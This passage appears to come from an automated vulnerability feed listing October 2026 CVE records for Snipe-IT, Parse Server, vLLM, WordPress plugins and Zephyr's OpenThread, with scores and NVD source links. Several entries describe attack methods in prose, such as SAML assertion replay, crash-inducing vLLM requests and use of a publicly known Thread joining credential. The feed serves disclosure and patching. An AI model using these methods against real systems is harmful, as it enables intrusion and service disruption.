NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Snipe-IT before 8.6.3 ignores the ldap_start_tls() return value in Ldap::connectToLdap(), allowing on-path attackers to force cleartext LDAP binds. Attackers can answer the StartTLS request with a protocol error to capture service-account credentials and end-user login passwords.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Snipe-IT before 8.5.0 contains a SAML assertion replay vulnerability that allows attackers to reuse captured assertions by exploiting a non-atomic nonce check in the SAML acs...
https://kevwire.com/record/CVE-2026-116201
Snipe-IT before 8.5.0 contains a SAML assertion replay vulnerability that allows attackers to reuse captured assertions by exploiting a non-atomic nonce check in the SAML acs... (Oct 25, 2026).
Snipe-IT before 8.5.0 contains a SAML assertion replay vulnerability that allows attackers to reuse captured assertions by exploiting a non-atomic nonce check in the SAML acs handler. Attackers can send concurrent POST requests to /saml/acs with one captured assertion to obtain multiple authenticated victim sessions that evade IdP-driven revocation.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116201).
Sources:
NVD CVE-2026-116201: https://nvd.nist.gov/vuln/detail/CVE-2026-116201
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Snipe-IT before 8.5.0 contains a SAML assertion replay vulnerability that allows attackers to reuse captured assertions by exploiting a non-atomic nonce check in the SAML acs handler. Attackers can send concurrent POST requests to /saml/acs with one captured assertion to obtain multiple authenticated victim sessions that evade IdP-driven revocation.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Parse Server before 8.6.101 and 9.0.0 before 9.10.4-alpha.4 contains a missing authorization vulnerability on MongoDB deployments that lets clients without the master key delete...
https://kevwire.com/record/CVE-2026-116165
Parse Server before 8.6.101 and 9.0.0 before 9.10.4-alpha.4 contains a missing authorization vulnerability on MongoDB deployments that lets clients without the master key delete... (Oct 25, 2026).
Parse Server before 8.6.101 and 9.0.0 before 9.10.4-alpha.4 contains a missing authorization vulnerability on MongoDB deployments that lets clients without the master key delete the stored schema of any class. Unauthenticated attackers can send REST API delete requests targeting the internal _SCHEMA collection to remove field definitions, class-level permissions, and protected fields, exposing data to unauthorized reads and modifications.
CVSS 8.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116165).
Sources:
NVD CVE-2026-116165: https://nvd.nist.gov/vuln/detail/CVE-2026-116165
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
Parse Server before 8.6.101 and 9.0.0 before 9.10.4-alpha.4 contains a missing authorization vulnerability on MongoDB deployments that lets clients without the master key delete the stored schema of any class. Unauthenticated attackers can send REST API delete requests targeting the internal _SCHEMA collection to remove field definitions, class-level permissions, and protected fields, exposing data to unauthorized reads and modifications.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC converter that allows remote attackers to bypass max_logprobs limits via...
https://kevwire.com/record/CVE-2026-116172
vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC converter that allows remote attackers to bypass max_logprobs limits via... (Oct 25, 2026).
vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC converter that allows remote attackers to bypass max_logprobs limits via CandidateTokens.top_n. Attackers can send Generate or GenerateStream requests with oversized or integer-wrapping top_n values to trigger torch.topk failures that terminate EngineCore.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116172).
Sources:
NVD CVE-2026-116172: https://nvd.nist.gov/vuln/detail/CVE-2026-116172
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC converter that allows remote attackers to bypass max_logprobs limits via CandidateTokens.top_n. Attackers can send Generate or GenerateStream requests with oversized or integer-wrapping top_n values to trigger torch.topk failures that terminate EngineCore.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM from 0.22.0 before 0.24.0 contains a denial of service vulnerability that allows remote attackers to terminate EngineCore by bypassing logprob_token_ids limits in the Rust...
https://kevwire.com/record/CVE-2026-116173
vLLM from 0.22.0 before 0.24.0 contains a denial of service vulnerability that allows remote attackers to terminate EngineCore by bypassing logprob_token_ids limits in the Rust... (Oct 25, 2026).
vLLM from 0.22.0 before 0.24.0 contains a denial of service vulnerability that allows remote attackers to terminate EngineCore by bypassing logprob_token_ids limits in the Rust gRPC frontend. Attackers can send Generate or GenerateStream requests with output_logprobs enabled and more than 128 output_candidates.token_ids, triggering a fatal sampler exception that crashes the engine.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116173).
Sources:
NVD CVE-2026-116173: https://nvd.nist.gov/vuln/detail/CVE-2026-116173
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
vLLM from 0.22.0 before 0.24.0 contains a denial of service vulnerability that allows remote attackers to terminate EngineCore by bypassing logprob_token_ids limits in the Rust gRPC frontend. Attackers can send Generate or GenerateStream requests with output_logprobs enabled and more than 128 output_candidates.token_ids, triggering a fatal sampler exception that crashes the engine.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC Generate and GenerateStream service that forwards unchecked prompt token IDs to...
https://kevwire.com/record/CVE-2026-116174
vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC Generate and GenerateStream service that forwards unchecked prompt token IDs to... (Oct 25, 2026).
vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC Generate and GenerateStream service that forwards unchecked prompt token IDs to EngineCore. Attackers can submit requests with out-of-vocabulary prompt.token_ids values to trigger a fatal embedding lookup failure that terminates EngineCore and leaves the server unhealthy.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116174).
Sources:
NVD CVE-2026-116174: https://nvd.nist.gov/vuln/detail/CVE-2026-116174
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC Generate and GenerateStream service that forwards unchecked prompt token IDs to EngineCore. Attackers can submit requests with out-of-vocabulary prompt.token_ids values to trigger a fatal embedding lookup failure that terminates EngineCore and leaves the server unhealthy.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM from 0.9.2 before 0.24.0 contains a server-side request forgery vulnerability that allows API callers to force outbound connections by embedding a decode address in the...
https://kevwire.com/record/CVE-2026-116176
vLLM from 0.9.2 before 0.24.0 contains a server-side request forgery vulnerability that allows API callers to force outbound connections by embedding a decode address in the... (Oct 25, 2026).
vLLM from 0.9.2 before 0.24.0 contains a server-side request forgery vulnerability that allows API callers to force outbound connections by embedding a decode address in the X-Request-Id header. Attackers can make a P2pNcclConnector prefill worker ZMQ-connect to an attacker host, leaking the NCCL unique_id and KV-cache tensors or blocking the worker.
CVSS 8.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116176).
Sources:
NVD CVE-2026-116176: https://nvd.nist.gov/vuln/detail/CVE-2026-116176
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
vLLM from 0.9.2 before 0.24.0 contains a server-side request forgery vulnerability that allows API callers to force outbound connections by embedding a decode address in the X-Request-Id header. Attackers can make a P2pNcclConnector prefill worker ZMQ-connect to an attacker host, leaking the NCCL unique_id and KV-cache tensors or blocking the worker.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM from 0.10.2 before 0.25.0 contains an uncontrolled resource consumption vulnerability that allows unauthenticated attackers to exhaust memory because the Nemotron-VL...
https://kevwire.com/record/CVE-2026-116177
vLLM from 0.10.2 before 0.25.0 contains an uncontrolled resource consumption vulnerability that allows unauthenticated attackers to exhaust memory because the Nemotron-VL... (Oct 25, 2026).
vLLM from 0.10.2 before 0.25.0 contains an uncontrolled resource consumption vulnerability that allows unauthenticated attackers to exhaust memory because the Nemotron-VL processors globally set Image.MAX_IMAGE_PIXELS to None. Attackers can submit a pathological decompression-bomb image to /v1/chat/completions to OOM-kill the worker and deny service to co-tenants.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116177).
Sources:
NVD CVE-2026-116177: https://nvd.nist.gov/vuln/detail/CVE-2026-116177
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
vLLM from 0.10.2 before 0.25.0 contains an uncontrolled resource consumption vulnerability that allows unauthenticated attackers to exhaust memory because the Nemotron-VL processors globally set Image.MAX_IMAGE_PIXELS to None. Attackers can submit a pathological decompression-bomb image to /v1/chat/completions to OOM-kill the worker and deny service to co-tenants.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM from 0.20.0 before 0.30.0 contains a denial of service vulnerability that allows remote attackers to crash the engine by sending inconsistent multimodal metadata to the...
https://kevwire.com/record/CVE-2026-116178
vLLM from 0.20.0 before 0.30.0 contains a denial of service vulnerability that allows remote attackers to crash the engine by sending inconsistent multimodal metadata to the... (Oct 25, 2026).
vLLM from 0.20.0 before 0.30.0 contains a denial of service vulnerability that allows remote attackers to crash the engine by sending inconsistent multimodal metadata to the disaggregated /inference/v1/generate endpoint. Attackers can replay a valid multimodal item with repeated or overlapping mm_placeholders ranges or mismatched kwargs_data and mm_hashes lists, producing a negative text span in Qwen2.5-VL position construction that terminates the engine.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116178).
Sources:
NVD CVE-2026-116178: https://nvd.nist.gov/vuln/detail/CVE-2026-116178
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
vLLM from 0.20.0 before 0.30.0 contains a denial of service vulnerability that allows remote attackers to crash the engine by sending inconsistent multimodal metadata to the disaggregated /inference/v1/generate endpoint. Attackers can replay a valid multimodal item with repeated or overlapping mm_placeholders ranges or mismatched kwargs_data and mm_hashes lists, producing a negative text span in Qwen2.5-VL position construction that terminates the engine.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM from 0.8.5 before 0.31.0 has a denial of service flaw.
https://kevwire.com/record/CVE-2026-116180
vLLM from 0.8.5 before 0.31.0 has a denial of service flaw. (Oct 25, 2026).
vLLM from 0.8.5 before 0.31.0 has a denial of service flaw. LogprobsTensors.empty_cpu() in vllm/v1/outputs.py allocates an uninitialized int32 tensor, and the V1 model runner leaves prompt positions reported as computed by a KV connector unwritten. A client sharing the engine can send prompt_logprobs (or echo with logprobs) against a connector-cached prefix, making tokenizer decode raise OverflowError, which crashes EngineCore and drops all co-tenant requests.
CVSS 8.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116180).
Sources:
NVD CVE-2026-116180: https://nvd.nist.gov/vuln/detail/CVE-2026-116180
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
vLLM from 0.8.5 before 0.31.0 has a denial of service flaw. LogprobsTensors.empty_cpu() in vllm/v1/outputs.py allocates an uninitialized int32 tensor, and the V1 model runner leaves prompt positions reported as computed by a KV connector unwritten. A client sharing the engine can send prompt_logprobs (or echo with logprobs) against a connector-cached prefix, making tokenizer decode raise OverflowError, which crashes EngineCore and drops all co-tenant requests.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM from 0.20.1 before 0.29.0 contains an improper input validation vulnerability that allows remote attackers to crash the engine by supplying out-of-vocabulary stop_token_ids.
https://kevwire.com/record/CVE-2026-116181
vLLM from 0.20.1 before 0.29.0 contains an improper input validation vulnerability that allows remote attackers to crash the engine by supplying out-of-vocabulary stop_token_ids. (Oct 25, 2026).
vLLM from 0.20.1 before 0.29.0 contains an improper input validation vulnerability that allows remote attackers to crash the engine by supplying out-of-vocabulary stop_token_ids. Attackers can send OpenAI chat, completion, generate, or batch requests with invalid IDs to terminate the engine or write outside the V2 runner's logits buffer.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116181).
Sources:
NVD CVE-2026-116181: https://nvd.nist.gov/vuln/detail/CVE-2026-116181
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
vLLM from 0.20.1 before 0.29.0 contains an improper input validation vulnerability that allows remote attackers to crash the engine by supplying out-of-vocabulary stop_token_ids. Attackers can send OpenAI chat, completion, generate, or batch requests with invalid IDs to terminate the engine or write outside the V2 runner's logits buffer.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Datawiza Proxy Auth Plugin  WordPress plugin before 1.1.1 does not verify that the user-identity and role HTTP request headers it trusts originate from a trusted reverse...
https://kevwire.com/record/CVE-2026-115214
The Datawiza Proxy Auth Plugin  WordPress plugin before 1.1.1 does not verify that the user-identity and role HTTP request headers it trusts originate from a trusted reverse... (Oct 25, 2026).
The Datawiza Proxy Auth Plugin  WordPress plugin before 1.1.1 does not verify that the user-identity and role HTTP request headers it trusts originate from a trusted reverse proxy, allowing unauthenticated attackers to create and authenticate as a WordPress administrator.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115214).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115214&date=2026-10-25).
Sources:
NVD CVE-2026-115214: https://nvd.nist.gov/vuln/detail/CVE-2026-115214
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115214&date=2026-10-25
The Datawiza Proxy Auth Plugin  WordPress plugin before 1.1.1 does not verify that the user-identity and role HTTP request headers it trusts originate from a trusted reverse proxy, allowing unauthenticated attackers to create and authenticate as a WordPress administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Duplicator  WordPress plugin before 5.0.0 does not restrict its one-click upgrade routine to users allowed to install Duplicator  WordPress plugin before 5.0.0, and...
https://kevwire.com/record/CVE-2026-115251
The Duplicator  WordPress plugin before 5.0.0 does not restrict its one-click upgrade routine to users allowed to install Duplicator  WordPress plugin before 5.0.0, and... (Oct 25, 2026).
The Duplicator  WordPress plugin before 5.0.0 does not restrict its one-click upgrade routine to users allowed to install Duplicator  WordPress plugin before 5.0.0, and additionally exposes the routine without authentication, allowing an administrator of a multisite child site who is not a network administrator to install and run arbitrary PHP in the network-wide shared Duplicator  WordPress plugin before 5.0.0 directory.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115251).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115251&date=2026-10-25).
Sources:
NVD CVE-2026-115251: https://nvd.nist.gov/vuln/detail/CVE-2026-115251
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115251&date=2026-10-25
The Duplicator  WordPress plugin before 5.0.0 does not restrict its one-click upgrade routine to users allowed to install Duplicator  WordPress plugin before 5.0.0, and additionally exposes the routine without authentication, allowing an administrator of a multisite child site who is not a network administrator to install and run arbitrary PHP in the network-wide shared Duplicator  WordPress plugin before 5.0.0 directory.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Zephyr's OpenThread integration defined CONFIG_OPENTHREAD_JOINER_PSKD with default "J01NME" in modules/openthread/Kconfig.thread (previously subsys/net/l2/openthread/Kconfig, then...
https://kevwire.com/record/CVE-2026-19741
Zephyr's OpenThread integration defined CONFIG_OPENTHREAD_JOINER_PSKD with default "J01NME" in modules/openthread/Kconfig.thread (previously subsys/net/l2/openthread/Kconfig, then... (Oct 23, 2026).
Zephyr's OpenThread integration defined CONFIG_OPENTHREAD_JOINER_PSKD with default "J01NME" in modules/openthread/Kconfig.thread (previously subsys/net/l2/openthread/Kconfig, then subsys/net/l2/openthread/Kconfig.thread). J01NME is the example Joining Device Credential used throughout the public OpenThread and Thread commissioning documentation, including Zephyr's own samples/net/sockets/echo_client/README.rst, so it is not a secret. A firmware image built with CONFIG_OPENTHREAD_JOINER_AUTOSTART=y that never overrode the PSKd therefore shipped with a publicly known joining credential compiled in, with no build-time or run-time warning.

The PSKd is the only value that authenticates Thread commissioning: joiner and commissioner run a DTLS-PSK handshake keyed on it, after which the commissioner supplies the full operational dataset. In ot_configure_instance() (modules/openthread/openthread.c), a device with no stored dataset calls otJoinerStart() with the configured PSKd, and ot_joiner_start_handler() calls otThreadSetEnabled() on success. An unauthenticated attacker within 802.15.4 radio range of an uncommissioned device (factory-fresh, after a factory reset, or after a settings erase) can run any stock Thread commissioner registered with J01NME, complete the handshake, and hand the device an attacker-controlled operational dataset.

The device then joins and enables Thread on the attacker's mesh. The attacker becomes its router, seeing, dropping, injecting and spoofing all of the device's IPv6 traffic and impersonating the peers the application expects, while the device is cut off from the network it was meant to join and stays mis-provisioned until it is reset. Only application-layer security with independently provisioned credentials survives. Exposure is limited to builds that enable joiner autostart and leave the PSKd unset; the option is not enabled by default and no in-tree sample uses the vulnerable combination.

The fix removes the default from CONFIG_OPENTHREAD_JOINER_PSKD and adds a BUILD_ASSERT() in modules/openthread/openthread.c, active only under CONFIG_OPENTHREAD_JOINER_AUTOSTART, that fails the build unless a 6-to-32-character PSKd is configured.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19741).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19741&date=2026-10-25).
Sources:
NVD CVE-2026-19741: https://nvd.nist.gov/vuln/detail/CVE-2026-19741
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
